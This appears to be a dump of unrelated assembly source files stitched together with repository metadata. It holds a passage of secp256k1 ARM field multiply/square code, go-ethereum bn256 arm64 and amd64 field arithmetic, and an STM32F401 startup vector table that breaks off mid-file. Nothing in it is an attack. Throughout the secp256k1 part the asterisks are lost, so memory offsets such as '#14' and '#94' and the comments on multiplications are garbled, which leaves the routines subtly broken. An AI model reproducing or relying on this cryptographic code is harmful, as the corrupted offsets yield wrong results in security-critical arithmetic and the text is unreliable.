field_R0 >> 4 @ d = c * (R0 >> 4) + t0 (64x64 multiply+add) umull r5, r6, r3, r14 @ d = c.lo * (R0 >> 4) adds r5, r5, r7 @ d.lo += t0 mla r6, r14, r4, r6 @ d.hi += c.hi * (R0 >> 4) adc r6, r6, 0 @ d.hi += carry bic r2, r5, field_not_M @ r[0] = d & M str r2, [r0, #04] mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R1 >> 4 @ d += c (R1 >> 4) + t1 (64x64 multiply+add) umull r1, r2, r3, r14 @ tmp = c.lo * (R1 >> 4) adds r5, r5, r8 @ d.lo += t1 adc r6, r6, #0 @ d.hi += carry adds r5, r5, r1 @ d.lo += tmp.lo mla r2, r14, r4, r2 @ tmp.hi += c.hi * (R1 >> 4) adc r6, r6, r2 @ d.hi += carry + tmp.hi bic r2, r5, field_not_M @ r[1] = d & M str r2, [r0, #14] mov r5, r5, lsr #26 @ d >>= 26 (ignore hi) orr r5, r5, r6, asl #6 add r5, r5, r9 @ d += t2 str r5, [r0, #24] @ r[2] = d add sp, sp, #48 ldmfd sp!, {r4, r5, r6, r7, r8, r9, r10, r11, pc} .size secp256k1_fe_mul_inner, .-secp256k1_fe_mul_inner .align 2 .global secp256k1_fe_sqr_inner .type secp256k1_fe_sqr_inner, %function .hidden secp256k1_fe_sqr_inner @ Arguments: @ r0 r Can overlap with a @ r1 a @ Stack (total 4+104 = 44) @ sp + #0 saved 'r' pointer @ sp + #4 + 4X t0,t1,t2,t3,t4,t5,t6,t7,u8,t9 secp256k1_fe_sqr_inner: stmfd sp!, {r4, r5, r6, r7, r8, r9, r10, r11, r14} sub sp, sp, #48 @ frame=44 + alignment str r0, [sp, #0] @ save result address, we need it only at the end /****************************************** * Main computation code. ****************************************** Allocation: r0,r14,r2,r7,r8 scratch r1 a (pointer) r3:r4 c r5:r6 d r11:r12 c' r9:r10 d' Note: do not write to r[] here, it may overlap with a[] / / A interleaved with B / ldr r0, [r1, #14] @ a[1]2 ldr r7, [r1, #04] @ a[0] mov r0, r0, asl #1 ldr r14, [r1, #94] @ a[9] umull r3, r4, r7, r7 @ c = a[0] a[0] ldr r8, [r1, #84] @ a[8] mov r7, r7, asl #1 umull r5, r6, r7, r14 @ d = a[0]2 * a[9] ldr r7, [r1, #24] @ a[2]2 umull r9, r10, r0, r14 @ d' = a[1]2 a[9] ldr r14, [r1, #74] @ a[7] umlal r5, r6, r0, r8 @ d += a[1]2 * a[8] mov r7, r7, asl #1 ldr r0, [r1, #34] @ a[3]2 umlal r9, r10, r7, r8 @ d' += a[2]2 a[8] ldr r8, [r1, #64] @ a[6] umlal r5, r6, r7, r14 @ d += a[2]2 * a[7] mov r0, r0, asl #1 ldr r7, [r1, #44] @ a[4]2 umlal r9, r10, r0, r14 @ d' += a[3]2 a[7] ldr r14, [r1, #54] @ a[5] mov r7, r7, asl #1 umlal r5, r6, r0, r8 @ d += a[3]2 * a[6] umlal r9, r10, r7, r8 @ d' += a[4]2 a[6] umlal r5, r6, r7, r14 @ d += a[4]2 a[5] umlal r9, r10, r14, r14 @ d' += a[5] * a[5] bic r0, r5, field_not_M @ t9 = d & M str r0, [sp, #4 + 94] mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 / B / adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u0 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u0 R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t0 = c & M str r14, [sp, #4 + 04] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u0 R1 umlal r3, r4, r0, r14 /* C interleaved with D / ldr r0, [r1, #04] @ a[0]2 ldr r14, [r1, #14] @ a[1] mov r0, r0, asl #1 ldr r8, [r1, #24] @ a[2] umlal r3, r4, r0, r14 @ c += a[0]2 * a[1] mov r7, r8, asl #1 @ a[2]2 umull r11, r12, r14, r14 @ c' = a[1] a[1] ldr r14, [r1, #94] @ a[9] umlal r11, r12, r0, r8 @ c' += a[0]2 * a[2] ldr r0, [r1, #34] @ a[3]2 ldr r8, [r1, #84] @ a[8] umlal r5, r6, r7, r14 @ d += a[2]2 * a[9] mov r0, r0, asl #1 ldr r7, [r1, #44] @ a[4]2 umull r9, r10, r0, r14 @ d' = a[3]2 a[9] ldr r14, [r1, #74] @ a[7] umlal r5, r6, r0, r8 @ d += a[3]2 * a[8] mov r7, r7, asl #1 ldr r0, [r1, #54] @ a[5]2 umlal r9, r10, r7, r8 @ d' += a[4]2 a[8] ldr r8, [r1, #64] @ a[6] mov r0, r0, asl #1 umlal r5, r6, r7, r14 @ d += a[4]2 * a[7] umlal r9, r10, r0, r14 @ d' += a[5]2 a[7] umlal r5, r6, r0, r8 @ d += a[5]2 a[6] umlal r9, r10, r8, r8 @ d' += a[6] * a[6] bic r0, r5, field_not_M @ u1 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u1 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t1 = c & M str r14, [sp, #4 + 14] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u1 R1 umlal r3, r4, r0, r14 /* D / adds r3, r3, r11 @ c += c' adc r4, r4, r12 adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u2 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u2 R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t2 = c & M str r14, [sp, #4 + 24] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u2 R1 umlal r3, r4, r0, r14 /* E interleaved with F / ldr r7, [r1, #04] @ a[0]2 ldr r0, [r1, #14] @ a[1]2 ldr r14, [r1, #24] @ a[2] mov r7, r7, asl #1 ldr r8, [r1, #34] @ a[3] ldr r2, [r1, #44] umlal r3, r4, r7, r8 @ c += a[0]2 a[3] mov r0, r0, asl #1 umull r11, r12, r7, r2 @ c' = a[0]2 a[4] mov r2, r2, asl #1 @ a[4]2 umlal r11, r12, r0, r8 @ c' += a[1]2 * a[3] ldr r8, [r1, #94] @ a[9] umlal r3, r4, r0, r14 @ c += a[1]2 * a[2] ldr r0, [r1, #54] @ a[5]2 umlal r11, r12, r14, r14 @ c' += a[2] * a[2] ldr r14, [r1, #84] @ a[8] mov r0, r0, asl #1 umlal r5, r6, r2, r8 @ d += a[4]2 * a[9] ldr r7, [r1, #64] @ a[6]2 umull r9, r10, r0, r8 @ d' = a[5]2 a[9] mov r7, r7, asl #1 ldr r8, [r1, #74] @ a[7] umlal r5, r6, r0, r14 @ d += a[5]2 * a[8] umlal r9, r10, r7, r14 @ d' += a[6]2 a[8] umlal r5, r6, r7, r8 @ d += a[6]2 a[7] umlal r9, r10, r8, r8 @ d' += a[7] * a[7] bic r0, r5, field_not_M @ u3 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u3 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t3 = c & M str r14, [sp, #4 + 34] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u3 R1 umlal r3, r4, r0, r14 /* F / adds r3, r3, r11 @ c += c' adc r4, r4, r12 adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u4 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u4 R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t4 = c & M str r14, [sp, #4 + 44] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u4 R1 umlal r3, r4, r0, r14 /* G interleaved with H / ldr r7, [r1, #04] @ a[0]2 ldr r0, [r1, #14] @ a[1]2 mov r7, r7, asl #1 ldr r8, [r1, #54] @ a[5] ldr r2, [r1, #64] @ a[6] umlal r3, r4, r7, r8 @ c += a[0]2 * a[5] ldr r14, [r1, #44] @ a[4] mov r0, r0, asl #1 umull r11, r12, r7, r2 @ c' = a[0]2 * a[6] ldr r7, [r1, #24] @ a[2]2 umlal r11, r12, r0, r8 @ c' += a[1]2 a[5] mov r7, r7, asl #1 ldr r8, [r1, #34] @ a[3] umlal r3, r4, r0, r14 @ c += a[1]2 * a[4] mov r0, r2, asl #1 @ a[6]2 umlal r11, r12, r7, r14 @ c' += a[2]2 * a[4] ldr r14, [r1, #94] @ a[9] umlal r3, r4, r7, r8 @ c += a[2]2 * a[3] ldr r7, [r1, #74] @ a[7]2 umlal r11, r12, r8, r8 @ c' += a[3] * a[3] mov r7, r7, asl #1 ldr r8, [r1, #84] @ a[8] umlal r5, r6, r0, r14 @ d += a[6]2 * a[9] umull r9, r10, r7, r14 @ d' = a[7]2 a[9] umlal r5, r6, r7, r8 @ d += a[7]2 a[8] umlal r9, r10, r8, r8 @ d' += a[8] * a[8] bic r0, r5, field_not_M @ u5 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u5 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t5 = c & M str r14, [sp, #4 + 54] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u5 R1 umlal r3, r4, r0, r14 /* H / adds r3, r3, r11 @ c += c' adc r4, r4, r12 adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u6 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u6 R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t6 = c & M str r14, [sp, #4 + 64] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u6 R1 umlal r3, r4, r0, r14 /* I interleaved with J / ldr r7, [r1, #04] @ a[0]2 ldr r0, [r1, #14] @ a[1]2 mov r7, r7, asl #1 ldr r8, [r1, #74] @ a[7] ldr r2, [r1, #84] @ a[8] umlal r3, r4, r7, r8 @ c += a[0]2 * a[7] ldr r14, [r1, #64] @ a[6] mov r0, r0, asl #1 umull r11, r12, r7, r2 @ c' = a[0]2 * a[8] ldr r7, [r1, #24] @ a[2]2 umlal r11, r12, r0, r8 @ c' += a[1]2 a[7] ldr r8, [r1, #54] @ a[5] umlal r3, r4, r0, r14 @ c += a[1]2 * a[6] ldr r0, [r1, #34] @ a[3]2 mov r7, r7, asl #1 umlal r11, r12, r7, r14 @ c' += a[2]2 a[6] ldr r14, [r1, #44] @ a[4] mov r0, r0, asl #1 umlal r3, r4, r7, r8 @ c += a[2]2 * a[5] mov r2, r2, asl #1 @ a[8]2 umlal r11, r12, r0, r8 @ c' += a[3]2 * a[5] umlal r3, r4, r0, r14 @ c += a[3]2 a[4] umlal r11, r12, r14, r14 @ c' += a[4] * a[4] ldr r8, [r1, #94] @ a[9] umlal r5, r6, r2, r8 @ d += a[8]2 * a[9] @ r8 will be used in J bic r0, r5, field_not_M @ u7 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u7 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t7 = c & M str r14, [sp, #4 + 74] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u7 R1 umlal r3, r4, r0, r14 /* J / adds r3, r3, r11 @ c += c' adc r4, r4, r12 umlal r5, r6, r8, r8 @ d += a[9] a[9] bic r0, r5, field_not_M @ u8 = d & M str r0, [sp, #4 + 84] mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u8 R0 umlal r3, r4, r0, r14 /****************************************** * compute and write back result ****************************************** Allocation: r0 r r3:r4 c r5:r6 d r7 t0 r8 t1 r9 t2 r11 u8 r12 t9 r1,r2,r10,r14 scratch Note: do not read from a[] after here, it may overlap with r[] / ldr r0, [sp, #0] add r1, sp, #4 + 34 @ r[3..7] = t3..7, r11=u8, r12=t9 ldmia r1, {r2,r7,r8,r9,r10,r11,r12} add r1, r0, #34 stmia r1, {r2,r7,r8,r9,r10} bic r2, r3, field_not_M @ r[8] = c & M str r2, [r0, #84] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u8 * R1 umlal r3, r4, r11, r14 movw r14, field_R0 @ c += d * R0 umlal r3, r4, r5, r14 adds r3, r3, r12 @ c += t9 adc r4, r4, #0 add r1, sp, #4 + 04 @ r7,r8,r9 = t0,t1,t2 ldmia r1, {r7,r8,r9} ubfx r2, r3, #0, #22 @ r[9] = c & (M >> 4) str r2, [r0, #94] mov r3, r3, lsr #22 @ c >>= 22 orr r3, r3, r4, asl #10 mov r4, r4, lsr #22 movw r14, field_R1 << 4 @ c += d * (R1 << 4) umlal r3, r4, r5, r14 movw r14, field_R0 >> 4 @ d = c * (R0 >> 4) + t0 (64x64 multiply+add) umull r5, r6, r3, r14 @ d = c.lo * (R0 >> 4) adds r5, r5, r7 @ d.lo += t0 mla r6, r14, r4, r6 @ d.hi += c.hi * (R0 >> 4) adc r6, r6, 0 @ d.hi += carry bic r2, r5, field_not_M @ r[0] = d & M str r2, [r0, #04] mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R1 >> 4 @ d += c (R1 >> 4) + t1 (64x64 multiply+add) umull r1, r2, r3, r14 @ tmp = c.lo * (R1 >> 4) adds r5, r5, r8 @ d.lo += t1 adc r6, r6, #0 @ d.hi += carry adds r5, r5, r1 @ d.lo += tmp.lo mla r2, r14, r4, r2 @ tmp.hi += c.hi * (R1 >> 4) adc r6, r6, r2 @ d.hi += carry + tmp.hi bic r2, r5, field_not_M @ r[1] = d & M str r2, [r0, #14] mov r5, r5, lsr #26 @ d >>= 26 (ignore hi) orr r5, r5, r6, asl #6 add r5, r5, r9 @ d += t2 str r5, [r0, #24] @ r[2] = d add sp, sp, #48 ldmfd sp!, {r4, r5, r6, r7, r8, r9, r10, r11, pc} .size secp256k1_fe_sqr_inner, .-secp256k1_fe_sqr_inner .section .note.GNU-stack,"",%progbits
0xsequence/ethkit	1,870	go-ethereum/crypto/bn256/cloudflare/gfp_arm64.s	// +build arm64,!generic #define storeBlock(a0,a1,a2,a3, r) \ MOVD a0, 0+r \ MOVD a1, 8+r \ MOVD a2, 16+r \ MOVD a3, 24+r #define loadBlock(r, a0,a1,a2,a3) \ MOVD 0+r, a0 \ MOVD 8+r, a1 \ MOVD 16+r, a2 \ MOVD 24+r, a3 #define loadModulus(p0,p1,p2,p3) \ MOVD ·p2+0(SB), p0 \ MOVD ·p2+8(SB), p1 \ MOVD ·p2+16(SB), p2 \ MOVD ·p2+24(SB), p3 #include "mul_arm64.h" TEXT ·gfpNeg(SB),0,$0-16 MOVD a+8(FP), R0 loadBlock(0(R0), R1,R2,R3,R4) loadModulus(R5,R6,R7,R8) SUBS R1, R5, R1 SBCS R2, R6, R2 SBCS R3, R7, R3 SBCS R4, R8, R4 SUBS R5, R1, R5 SBCS R6, R2, R6 SBCS R7, R3, R7 SBCS R8, R4, R8 CSEL CS, R5, R1, R1 CSEL CS, R6, R2, R2 CSEL CS, R7, R3, R3 CSEL CS, R8, R4, R4 MOVD c+0(FP), R0 storeBlock(R1,R2,R3,R4, 0(R0)) RET TEXT ·gfpAdd(SB),0,$0-24 MOVD a+8(FP), R0 loadBlock(0(R0), R1,R2,R3,R4) MOVD b+16(FP), R0 loadBlock(0(R0), R5,R6,R7,R8) loadModulus(R9,R10,R11,R12) MOVD ZR, R0 ADDS R5, R1 ADCS R6, R2 ADCS R7, R3 ADCS R8, R4 ADCS ZR, R0 SUBS R9, R1, R5 SBCS R10, R2, R6 SBCS R11, R3, R7 SBCS R12, R4, R8 SBCS ZR, R0, R0 CSEL CS, R5, R1, R1 CSEL CS, R6, R2, R2 CSEL CS, R7, R3, R3 CSEL CS, R8, R4, R4 MOVD c+0(FP), R0 storeBlock(R1,R2,R3,R4, 0(R0)) RET TEXT ·gfpSub(SB),0,$0-24 MOVD a+8(FP), R0 loadBlock(0(R0), R1,R2,R3,R4) MOVD b+16(FP), R0 loadBlock(0(R0), R5,R6,R7,R8) loadModulus(R9,R10,R11,R12) SUBS R5, R1 SBCS R6, R2 SBCS R7, R3 SBCS R8, R4 CSEL CS, ZR, R9, R9 CSEL CS, ZR, R10, R10 CSEL CS, ZR, R11, R11 CSEL CS, ZR, R12, R12 ADDS R9, R1 ADCS R10, R2 ADCS R11, R3 ADCS R12, R4 MOVD c+0(FP), R0 storeBlock(R1,R2,R3,R4, 0(R0)) RET TEXT ·gfpMul(SB),0,$0-24 MOVD a+8(FP), R0 loadBlock(0(R0), R1,R2,R3,R4) MOVD b+16(FP), R0 loadBlock(0(R0), R5,R6,R7,R8) mul(R9,R10,R11,R12,R13,R14,R15,R16) gfpReduce() MOVD c+0(FP), R0 storeBlock(R1,R2,R3,R4, 0(R0)) RET
0xsequence/ethkit	2,193	go-ethereum/crypto/bn256/cloudflare/gfp_amd64.s	// +build amd64,!generic #define storeBlock(a0,a1,a2,a3, r) \ MOVQ a0, 0+r \ MOVQ a1, 8+r \ MOVQ a2, 16+r \ MOVQ a3, 24+r #define loadBlock(r, a0,a1,a2,a3) \ MOVQ 0+r, a0 \ MOVQ 8+r, a1 \ MOVQ 16+r, a2 \ MOVQ 24+r, a3 #define gfpCarry(a0,a1,a2,a3,a4, b0,b1,b2,b3,b4) \ \ // b = a-p MOVQ a0, b0 \ MOVQ a1, b1 \ MOVQ a2, b2 \ MOVQ a3, b3 \ MOVQ a4, b4 \ \ SUBQ ·p2+0(SB), b0 \ SBBQ ·p2+8(SB), b1 \ SBBQ ·p2+16(SB), b2 \ SBBQ ·p2+24(SB), b3 \ SBBQ $0, b4 \ \ \ // if b is negative then return a \ // else return b CMOVQCC b0, a0 \ CMOVQCC b1, a1 \ CMOVQCC b2, a2 \ CMOVQCC b3, a3 #include "mul_amd64.h" #include "mul_bmi2_amd64.h" TEXT ·gfpNeg(SB),0,$0-16 MOVQ ·p2+0(SB), R8 MOVQ ·p2+8(SB), R9 MOVQ ·p2+16(SB), R10 MOVQ ·p2+24(SB), R11 MOVQ a+8(FP), DI SUBQ 0(DI), R8 SBBQ 8(DI), R9 SBBQ 16(DI), R10 SBBQ 24(DI), R11 MOVQ $0, AX gfpCarry(R8,R9,R10,R11,AX, R12,R13,R14,CX,BX) MOVQ c+0(FP), DI storeBlock(R8,R9,R10,R11, 0(DI)) RET TEXT ·gfpAdd(SB),0,$0-24 MOVQ a+8(FP), DI MOVQ b+16(FP), SI loadBlock(0(DI), R8,R9,R10,R11) MOVQ $0, R12 ADDQ 0(SI), R8 ADCQ 8(SI), R9 ADCQ 16(SI), R10 ADCQ 24(SI), R11 ADCQ $0, R12 gfpCarry(R8,R9,R10,R11,R12, R13,R14,CX,AX,BX) MOVQ c+0(FP), DI storeBlock(R8,R9,R10,R11, 0(DI)) RET TEXT ·gfpSub(SB),0,$0-24 MOVQ a+8(FP), DI MOVQ b+16(FP), SI loadBlock(0(DI), R8,R9,R10,R11) MOVQ ·p2+0(SB), R12 MOVQ ·p2+8(SB), R13 MOVQ ·p2+16(SB), R14 MOVQ ·p2+24(SB), CX MOVQ $0, AX SUBQ 0(SI), R8 SBBQ 8(SI), R9 SBBQ 16(SI), R10 SBBQ 24(SI), R11 CMOVQCC AX, R12 CMOVQCC AX, R13 CMOVQCC AX, R14 CMOVQCC AX, CX ADDQ R12, R8 ADCQ R13, R9 ADCQ R14, R10 ADCQ CX, R11 MOVQ c+0(FP), DI storeBlock(R8,R9,R10,R11, 0(DI)) RET TEXT ·gfpMul(SB),0,$160-24 MOVQ a+8(FP), DI MOVQ b+16(FP), SI // Jump to a slightly different implementation if MULX isn't supported. CMPB ·hasBMI2(SB), $0 JE nobmi2Mul mulBMI2(0(DI),8(DI),16(DI),24(DI), 0(SI)) storeBlock( R8, R9,R10,R11, 0(SP)) storeBlock(R12,R13,R14,CX, 32(SP)) gfpReduceBMI2() JMP end nobmi2Mul: mul(0(DI),8(DI),16(DI),24(DI), 0(SI), 0(SP)) gfpReduce(0(SP)) end: MOVQ c+0(FP), DI storeBlock(R12,R13,R14,CX, 0(DI)) RET
10110111/usb2ps2conv	21,625	src/startup_stm32f401xc.s	/ **************************************************************************** * @file startup_stm32f401xc.s * @author MCD Application Team * @version V2.4.1 * @date 09-October-2015 * @brief STM32F401xCxx Devices vector table for GCC based toolchains. * This module performs: * - Set the initial SP * - Set the initial PC == Reset_Handler, * - Set the vector table entries with the exceptions ISR address * - Branches to main in the C library (which eventually * calls main()). * After Reset the Cortex-M4 processor is in Thread mode, * priority is Privileged, and the Stack is set to Main. ****************************************************************************** * @attention * * <h2><center>© COPYRIGHT 2015 STMicroelectronics</center></h2> * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * 1. Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * 3. Neither the name of STMicroelectronics nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * ****************************************************************************** / .syntax unified .cpu cortex-m4 .fpu softvfp .thumb .global g_pfnVectors .global Default_Handler / start address for the initialization values of the .data section. defined in linker script / .word _sidata / start address for the .data section. defined in linker script / .word _sdata / end address for the .data section. defined in linker script / .word _edata / start address for the .bss section. defined in linker script / .word _sbss / end address for the .bss section. defined in linker script / .word _ebss / stack used for SystemInit_ExtMemCtl; always internal RAM used / /* * @brief This is the code that gets called when the processor first * starts execution following a reset event. Only the absolutely * necessary set is performed, after which the application * supplied main() routine is called. * @param None * @retval : None / .section .text.Reset_Handler .weak Reset_Handler .type Reset_Handler, %function Reset_Handler: ldr sp, =_estack / set stack pointer / / Copy the data segment initializers from flash to SRAM / movs r1, #0 b LoopCopyDataInit CopyDataInit: ldr r3, =_sidata ldr r3, [r3, r1] str r3, [r0, r1] adds r1, r1, #4 LoopCopyDataInit: ldr r0, =_sdata ldr r3, =_edata adds r2, r0, r1 cmp r2, r3 bcc CopyDataInit ldr r2, =_sbss b LoopFillZerobss / Zero fill the bss segment. / FillZerobss: movs r3, #0 str r3, [r2], #4 LoopFillZerobss: ldr r3, = _ebss cmp r2, r3 bcc FillZerobss / Call the clock system intitialization function./ bl SystemInit / Call static constructors / bl __libc_init_array / Call the application's entry point./ bl main bx lr .size Reset_Handler, .-Reset_Handler /* * @brief This is the code that gets called when the processor receives an * unexpected interrupt. This simply enters an infinite loop, preserving * the system state for examination by a debugger. * @param None * @retval None / .section .text.Default_Handler,"ax",%progbits Default_Handler: Infinite_Loop: b Infinite_Loop .size Default_Handler, .-Default_Handler /***************************************************************************** * * The minimal vector table for a Cortex M3. Note that the proper constructs * must be placed on this to ensure that it ends up at physical address * 0x0000.0000. * ******************************************************************************/ .section .isr_vector,"a",%progbits .type g_pfnVectors, %object .size g_pfnVectors, .-g_pfnVectors g_pfnVectors: .word _estack .word Reset_Handler .word NMI_Handler .word HardFault_Handler .word MemManage_Handler .word BusFault_Handler .word UsageFault_Handler .word 0 .word 0 .word 0 .word 0 .word SVC_Handler .word DebugMon_Handler .word 0 .word PendSV_Handler .word SysTick_Handler / External Interrupts / .word WWDG_IRQHandler / Window WatchDog / .word PVD_IRQHandler / PVD through EXTI Line detection / .word TAMP_STAMP_IRQHandler / Tamper and TimeStamps through the EXTI line / .word RTC_WKUP_IRQHandler / RTC Wakeup through the EXTI line / .word FLASH_IRQHandler / FLASH / .word RCC_IRQHandler / RCC / .word EXTI0_IRQHandler / EXTI Line0 / .word EXTI1_IRQHandler / EXTI Line1 / .word EXTI2_IRQHandler / EXTI Line2 / .word EXTI3_IRQHandler / EXTI Line3 / .word EXTI4_IRQHandler / EXTI Line4 / .word DMA1_Stream0_IRQHandler / DMA1 Stream 0 / .word DMA1_Stream1_IRQHandler / DMA1 Stream 1 / .word DMA1_Stream2_IRQHandler / DMA1 Stream 2 / .word DMA1_Stream3_IRQHandler / DMA1 Stream 3 / .word DMA1_Stream4_IRQHandler / DMA1 Stream 4 / .word DMA1_Stream5_IRQHandler / DMA1 Stream 5 / .word DMA1_Stream6_IRQHandler / DMA1 Stream 6 / .word ADC_IRQHandler / ADC1 / .word 0 / Reserved / .word 0 / Reserved / .word 0 / Reserved / .word 0 / Reserved / .word EXTI9_5_IRQHandler / External Line[9:5]s / .word TIM1_BRK_TIM9_IRQHandler / TIM1 Break and TIM9 / .word TIM1_UP_TIM10_IRQHandler / TIM1 Update and TIM10 / .word TIM1_TRG_COM_TIM11_IRQHandler / TIM1 Trigger and Commutation and TIM11 / .word TIM1_CC_IRQHandler / TIM1 Capture Compare / .word TIM2_IRQHandler / TIM2 / .word TIM3_IRQHandler / TIM3 / .word TIM4_IRQHandler / TIM4 / .word I2C1_EV_IRQHandler / I2C1 Event / .word I2C1_ER_IRQHandler / I2C1 Error / .word I2C2_EV_IRQHandler / I2C2 Event / .word I2C2_ER_IRQHandler / I2C2 Error / .word SPI1_IRQHandler / SPI1 / .word SPI2_IRQHandler / SPI2 / .word USART1_IRQHandler / USART1 / .word USART2_IRQHandler / USART2 / .word 0 / Reserved / .word EXTI15_10_IRQHandler / External Line[15:10]s / .word RTC_Alarm_IRQHandler / RTC Alarm (A and B) through EXTI Line / .word OTG_FS_WKUP_IRQHandler / USB OTG FS Wakeup through EXTI line / .word 0 / Reserved / .word 0 / Reserved / .word 0 / Reserved / .word 0 / Reserved / .word DMA1_Stream7_IRQHandler / DMA1 Stream7 / .word 0 / Reserved / .word SDIO_IRQHandler / SDIO / .word TIM5_IRQHandler / TIM5 / .word SPI3_IRQHandler / SPI3 / .word 0 / Reserved / .word 0 / Reserved / .word 0 / Reserved / .word 0 / Reserved / .word DMA2_Stream0_IRQHandler / DMA2 Stream 0 / .word DMA2_Stream1_IRQHandler / DMA2 Stream 1 / .word DMA2_Stream2_IRQHandler / DMA2 Stream 2 / .word DMA2_Stream3_IRQHandler / DMA2 Stream 3 / .word DMA2_Stream4_IRQHandler / DMA2 Stream 4 / .word 0 / Reserved / .word 0 / Reserved / .word 0 / Reserved / .word 0 / Reserved / .word 0 / Reserved / .word 0 / Reserved / .word OTG_FS_IRQHandler / USB OTG FS / .word DMA2_Stream5_IRQHandler / DMA2 Stream 5 / .word DMA2_Stream6_IRQHandler / DMA2 Stream 6 / .word DMA2_Stream7_IRQHandler / DMA2 Stream 7 / .word USART6_IRQHandler / USART6 / .word I2C3_EV_IRQHandler / I2C3 event / .word I2C3_ER_IRQHandler / I2C3 error / .word 0 / Reserved / .word 0 / Reserved / .word 0 / Reserved / .word 0 / Reserved / .word 0 / Reserved / .word 0 / Reserved / .word 0 / Reserved / .word FPU_IRQHandler / FPU / .word 0 / Reserved / .word 0 / Reserved / .word SPI4_IRQHandler / SPI4 / /****************************************************************************** * * Provide weak aliases for each Exception handler to the Default_Handler. * As they are weak aliases, any function with the same name will override * this definition. * *****************************************************************************/ .weak NMI_Handler .thumb_set NMI_Handler,Default_Handler .weak HardFault_Handler .thumb_set HardFault_Handler,Default_Handler .weak MemManage_Handler .thumb_set MemManage_Handler,Default_Handler .weak BusFault_Handler .thumb_set BusFault_Handler,Default_Handler .weak UsageFault_Handler .thumb_set UsageFault_Handler,Default_Handler .weak SVC_Handler .thumb_set SVC_Handler,Default_Handler .weak DebugMon_Handler .thumb_set DebugMon_Handler,Default_Handler .weak PendSV_Handler .thumb_set PendSV_Handler,Default_Handler .weak SysTick_Handler .thumb_set SysTick_Handler,Default_Handler .weak WWDG_IRQHandler .thumb_set 